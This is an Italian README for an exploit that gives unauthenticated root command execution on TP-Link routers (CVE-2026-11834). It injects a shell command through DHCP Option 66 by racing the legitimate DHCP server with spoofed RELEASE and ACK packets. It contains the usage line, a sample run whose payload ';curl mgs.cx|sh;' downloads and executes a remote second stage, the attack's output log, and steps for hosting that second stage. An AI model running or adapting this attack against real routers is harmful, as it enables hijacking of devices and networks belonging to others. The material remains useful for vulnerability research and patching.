
Prova di concetto (PoC) per la RCE non autenticata su TP-Link DHCP Option 66 (CVE-2026-11834)
RCE non autenticata su DHCP Option 66 di TP-Link (CVE-2026-11834)
Una vulnerabilità di iniezione di comandi (CWE-78) nella gestione dell'Opzione 66 DHCP ("TFTP Server Name") del firmware dei router TP-Link consente a un attaccante non autenticato sullo stesso segmento di rete di eseguire comandi arbitrari come root. Quando il dispositivo agisce come client DHCP sull'interfaccia WAN, il valore dell'Opzione 66 restituito in un lease viene concatenato senza essere sanificato in un comando shell tftp all'interno di libcmm.so. Cinque funzioni costruiscono questo comando e lo passano a util_execSystem(), che chiama system(), quindi un valore dell'Opzione 66 appositamente predisposto viene interpretato come input di shell ed eseguito come root.
Il valore dell'Opzione 66 viene troncato a 16 caratteri sul dispositivo, quindi il payload è un minimale fetch-and-execute (;curl <domain>|sh;) che scarica un secondo stadio più grande via HTTP.
L'attaccante non ha bisogno di controllare il server DHCP. Questa PoC gareggia con il server legittimo sul segmento: spoofa un DHCP RELEASE come se fosse il target per cancellare il suo binding, attende che il target riacquisti il lease, quindi risponde alla trasmissione broadcast del target con un / malevolo che trasporta il payload prima che il server legittimo replichi.
OFFERACKQuesta Proof of Concept (PoC) è stata testata sul TP-Link Archer C20 V6 (firmware 0.9.1 Build 4.19, EU). Il percorso di codice vulnerabile è condiviso da una serie di router TP-Link; offset di memoria, indirizzi di funzione e comportamento possono differire su altri modelli o versioni firmware.
Questa PoC consegna un payload dell'Opzione 66 che viene eseguito come root sul dispositivo target. Eseguila solo su hardware di tua proprietà o per cui sei stato esplicitamente autorizzato a effettuare test.
$ sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'
| Argomento | Descrizione |
|---|---|
target_ip | Indirizzo IP attuale del dispositivo target |
-i, --interface | Interfaccia di rete sul segmento del target |
-s, --server-ip | IP del server DHCP legittimo |
-S, --server-mac | MAC del server DHCP legittimo |
-p, --payload | Valore dell'Opzione 66 (<=16 caratteri), es. `;curl |
-t, --target-mac | MAC del target (risolto automaticamente via ARP se omesso) |
-a, --attacker-ip | Server-id annunciato nel lease malevolo (predefinito: IP dell'interfaccia) |
Esempio di esecuzione:
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
L'host del payload serve un secondo stadio che il dispositivo recupera ed esegue. Ad esempio:
$ cat index.html
[second stage payload]
$ sudo python3 -m http.server 80